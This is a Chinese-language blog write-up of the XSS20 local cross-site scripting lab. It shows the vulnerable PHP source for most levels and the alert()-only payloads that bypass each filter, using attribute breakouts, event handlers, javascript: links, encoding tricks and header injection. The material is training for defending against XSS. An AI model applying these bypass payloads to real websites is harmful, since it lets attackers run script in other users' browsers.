XSS20 Write-up

学一下XSS基本应用和绕过,这篇博客会结合源码一步一步分析。

xss20 是一个在本地搭建的xss练习的集合,一共有20关。每一关考察的都不一样,从简到难。

贴一下xss20的下载地址 密码:mu7pcg

基础知识

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。

XSS 分类

  1. 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
  2. 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
  3. DOMXSS:
    这种类型则是利用非法输入来闭合对应的html标签。
    比如,有这样的一个a标签:<a href='$var'></a>乍看问题不大,可是当$var的内容变为 ’ onclick=’alert(/xss/) //,这段代码就会被执行。

XSS常见绕过点击这篇文章

Less 1

会有提示点击开始XSS,我们点击图片开始第一关。

第一关什么输入框都没有,所以我们看到url,url中的字符长度就是下面payload的长度,所以这两个是可控变量,我们从这想办法。

URL:http://localhost/XSS20/level1.php?name=test

我们直接在name后面跟一个alert()函数试一下

http://localhost/XSS20/level1.php?name=<script>alert('xss')</script>

提示我们已经过关。

我们看一下关键代码:

1
2
3
4
5
6
7
8
9
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

我们可以看到在欢迎用户那里js被执行。因为第一关没有过滤任何东西,所以直接执行,不多说~

Less 2

第二关我们在搜索框继续输入第一关payload发现回显没有找到和<script>alert('1')</script>相关的结果.

从浏览器看一下最后被解析成了什么

发现< 和 >全部被转义了,看一下源码

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

发现有个htmlspecialchars()函数,这个函数作用是把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体。

但是这里我们看到value可以被提前闭合,所以可以这样绕过:1"><script>alert('1')</script>

直接闭合了value=“1”绕过

Less 3

第三关我们继续上一关payload发现不行,看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

这次在keyword和查询都加了htmlspecialchars()函数转义。但是在有很多JS事件还是可以触发弹窗,没有大于和小于号所以他也不会转义。

  1. onmouseenter=alert(‘xss’) //当鼠标移动到这里就睡触发
  2. onclick=alert(‘xss’) //当点击这个事件时就会触发
  3. onclick =alert(‘xss’) //加一个空格方便绕过

我们这里用onclick试一下,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以过滤
so~就用单引号来测试

1'onclick='window.alert()弹窗成功!我们看一下解析成了什么样子

Less 4

我们先拿上一次payload试一下,发现不行,看一下控制台发现这次解析的是双引号,所以只要改一下就好。

"onclick="window.alert()这样就可以弹窗了,后面的语句被构造成了:<input name=keyword value=""onclick="window.alert()">

就不插图片了原理都是一样的,代码里面多了几个$str大家认真看一下就好。

PS:这几关都会有点慢,清理cookies或者多等一会儿才能弹窗

Less 5

用了上一次payload然后看一下解析成了:<input name=keyword value=""o_nclick="window.alert()"">

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>

</center>';
?>

发现o和n被隔开了,看一下源码,不仅转义括号还有on这个单词,所以就是说之前用的事件触发就不能再用了

我们知道链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript,so我们尝试嵌入一个连接,在连接的时候调用alert,payload如下:

1
"><a href="javascript:alert('1')">bobosec</a>"

点击我们插入的超链接,即可触发弹窗,input最后被构造成这样:

1
2
<input name=keyword  value=""><a href="javascript:alert('1')">bobosec</a"">
<input type=submit name=submit value=搜索 />

Less 6

这一关用上一关payload发现href被分开了所以不能执行

看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

看到很多标签都被分割了,但是这个比前一关少了$str = strtolower()这个限制,也就是大小写,所以我们直接用大小写绕过就可以。

"Onclick="window.alert('1')这个也好慢2333,还以为写错了。

Less 7

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里面把我们输入的所有字符全部替换成小写,并且把这些标签名都替换为了空。但是这属于黑名单模式,我们直接双写绕一下就好。

"><a hrHREFef="javasSCRIPTcript:alert('xss')">bobosec</a>"

可以看到对比效果

Less 8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这个代码绕过就有点麻烦了,所以我们在添加友情链接那里想办法,友情链接只是转义了script所以我们采用别的编码即可如下:

java&#x73;cript:alert()java没被过滤所以不用转义,剩下的字母随便转义一个就好,这里有网站可以在线编码。

Less 9

这关页面和上一关看着差不多,我们试一下上一关payload,发现会提示链接不合法,看一下源码~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

大部分是一样的,只不过在友情链接哪里多了一个判断if(false===strpos($str7,'http://'))这说明链接必须要有http://,strpos()作用是查找 “http://“ 在$srt7中第一次出现的位置,所以我们在上一关基础上改一下就好:

java&#x73;cript:alert()/*http://www.bobosec.top*/

这里需要把我们的网站注释一下,如果不注释他会一直访问,但是访问不到,所以只要让他检测到有http://就好.

Less 10

第十关试了半天也不知道咋回事。。。所以直接看源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

原来如此,这里面需要有两个参数:keyword和t_sort但是后面没有用到keyword这个参数的地方,他把我们输入的<>也全部替换为空了,所以标签基本都废了。但是下面有三个隐藏参数,需要get好几个选项,所以要用&连接。我们把类型改为text。

abc&bobosec&t_sort="onclick="alert()"type="text"

Less 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

​ 这一关多了HTTP_REFERER这是来自上一关的referer,所以要开始抓包改referer了

直接改referer就ok,如图:

abc&bobosec&t_sort="onclick="alert()"type="text"

Less 12

后面难度越来越大,我们直接边看源码边分析吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这次要的不是referer了,变成user_agent了,还是抓包发送就好

在十一关成功的时候抓包,点确定,然后改user_agent为abc&bobosec&t_sort="onclick="alert()"type="text"

Less 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一关多了个cookies,所以我们直接抓包修改cookies即可,把cookies改成abc&bobosec&t_sort="onclick="alert()"type="text"就好了,和前几关一样的

Less14

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

这一关看着有点迷,源码里内嵌了一个iframe:http://www.exifviewer.org/

可是这个网站一直打不开,看了一下别的人WP说是要构造一个XSS图片,这里用到的工具是exiftools,有兴趣的dalao们可以试一下~,这是乌云2012年爆出来的DiscuzX2个人空间图片exif信息XSS。我们直接进Less 15

Less 15

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这里在最后php代码里可以看到一个ng-include文件包含,那么我就可以尝试让他包含某个可以执行xss漏洞的文件,然后让这个文件调用alert方法就可以了。

ng-include

  1. ng-include指令用于包含外部的 HTML 文件。

  2. 包含的内容将作为指定元素的子节点。

  3. ng-include 属性的值可以是一个表达式,返回一个文件名。

  4. 默认情况下,包含的文件需要包含在同一个域名下。

这个只需要包含一个可以执行XSS的漏洞文件就可以,现成的就是第一关的,直接包含就好~

'level1.php?name=bobosec<img src=111 onerror=alert(1)>'

第十五关后面链接不对,应该是http://localhost/XSS20/level15.php?src==1.gif

Less 16

终于来到个正常的关了。。14和15都好迷~

贴代码

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

我们可以看到在这里新增过滤了空格,所以现在是script ,空格 ,/,都转义了

绕过可以看一下HTML URL编码,参考这个文章:http://www.w3school.com.cn/tags/html_ref_urlencode.html

bobosec%3Cimg%0dsrc=1%0donerror=alert(1)%3E

Less 17

点击摄像机会弹出flash动画,捣鼓了好久发现没用啊、、只好看源码了

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

<embed>标签定义嵌入的内容,所以我们可以直接插入插件

发现这个和那个flash动画一点关系也没有、、、真的坑

这里直接给arg01和arg02随意赋值,让他写入到<embed>arg01=a&arg02=bobosec%20onmouseenter=alert()

Less 18

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

感觉和上一关一样啊、、所以用上一关payload也过去了

Less 19&Less 20

全是flash的xss。。小白的我真的不会了,有大佬会的求教~orz

坚持原创技术分享,您的支持将鼓励我继续创作!